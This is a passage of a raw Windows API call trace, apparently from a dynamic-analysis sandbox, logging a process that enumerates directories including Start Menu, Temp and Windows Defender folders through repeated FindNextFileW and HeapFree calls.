[0196.813] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc24e74df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x474d6904, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System Tools", cAlternateFileName="SYSTEM~1")) returned 1 [0196.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.814] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6ec87d0d, ftCreationTime.dwHighDateTime=0x1d112f2, ftLastAccessTime.dwLowDateTime=0xc24e8184, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x6ec87d0d, ftLastWriteTime.dwHighDateTime=0x1d112f2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Tablet PC", cAlternateFileName="TABLET~1")) returned 1 [0196.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0196.814] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf08c | out: lpFindFileData=0x40bf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc307c637, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc307c637, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xc307c637, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x86e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Visio 2016.lnk", cAlternateFileName="VISIO2~1.LNK")) returned 1 [0196.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.814] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfd412f52, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xfd412f52, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 0 [0196.814] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0196.814] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.816] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc252d1d0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x21f770e1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Start Menu Places", cAlternateFileName="STARTM~2")) returned 1 [0196.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.817] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe349c49, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xbe349c49, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbe349c49, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SystemData", cAlternateFileName="SYSTEM~1")) returned 1 [0196.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.817] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d1ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0196.817] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.817] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d22c5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WER", cAlternateFileName="")) returned 1 [0196.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.818] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d33b0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17ce1766, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 1 [0196.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.818] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x88818fce, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x8883f249, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0196.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.818] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x88818fce, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0x8883f249, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0196.818] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0196.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.818] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wfp", cAlternateFileName="")) returned 1 [0196.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.818] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8846c94f, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0x8846c94f, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wfp", cAlternateFileName="")) returned 0 [0196.818] FindClose (in: hFindFile=0x4532300 | out: hFindFile=0x4532300) returned 1 [0196.818] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.820] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ce1766, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc25d4e74, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb320aac5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0196.905] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.905] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb2ba2529, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb2ba2529, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Definition Updates", cAlternateFileName="DEFINI~1")) returned 1 [0196.906] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.906] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26252c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0196.910] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0196.910] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626574, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NisBackup", cAlternateFileName="NISBAC~1")) returned 1 [0196.910] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.910] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 1 [0196.911] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.911] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf308 | out: lpFindFileData=0x40bf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc2626eab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Updates", cAlternateFileName="")) returned 0 [0196.911] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0196.911] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0196.911] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26279a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Features", cAlternateFileName="")) returned 1 [0196.912] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.912] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26281f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1 [0196.912] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.912] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2628aa5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb2bc876c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Network Inspection System", cAlternateFileName="NETWOR~1")) returned 1 [0196.914] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.914] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc262a040, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Platform", cAlternateFileName="")) returned 1 [0196.914] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.914] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc262a749, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd78854, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1 [0196.915] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.915] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc26ff45d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x16ca3b2a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Scans", cAlternateFileName="")) returned 1 [0196.915] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.915] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Support", cAlternateFileName="")) returned 1 [0196.915] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.915] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd78854, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc0597ac7, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc0597ac7, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Support", cAlternateFileName="")) returned 0 [0196.915] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0196.915] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.917] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a90a48, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender Advanced Threat Protection", cAlternateFileName="WIF4A9~1")) returned 1 [0196.918] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.918] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 1 [0196.919] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.919] FindNextFileW (in: hFindFile=0x4532340, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Temp", cAlternateFileName="")) returned 0 [0196.919] FindClose (in: hFindFile=0x4532340 | out: hFindFile=0x4532340) returned 1 [0196.920] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.920] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a928fc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~2")) returned 1 [0196.920] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.920] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2a93496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~3")) returned 1 [0196.920] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.920] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSScan", cAlternateFileName="")) returned 1 [0196.921] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.921] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSScan", cAlternateFileName="")) returned 0 [0196.921] FindClose (in: hFindFile=0x4532140 | out: hFindFile=0x4532140) returned 1 [0196.921] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.921] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0ef6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Security Health", cAlternateFileName="WINDOW~4")) returned 1 [0196.921] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.921] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbef9a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMSIPC", cAlternateFileName="")) returned 1 [0196.922] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.922] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Server", cAlternateFileName="")) returned 0 [0196.923] FindClose (in: hFindFile=0x4532500 | out: hFindFile=0x4532500) returned 1 [0196.923] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4510050 | out: hHeap=0x710000) returned 1 [0196.923] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x40bf800 | out: lpFindFileData=0x40bf800*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc002d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1 [0196.923] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0196.923] FindNextFileW (in: hFindFile=0x4532140, lpFindFileData=0x40bf584 | out: lpFindFileData=0x40bf584*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, 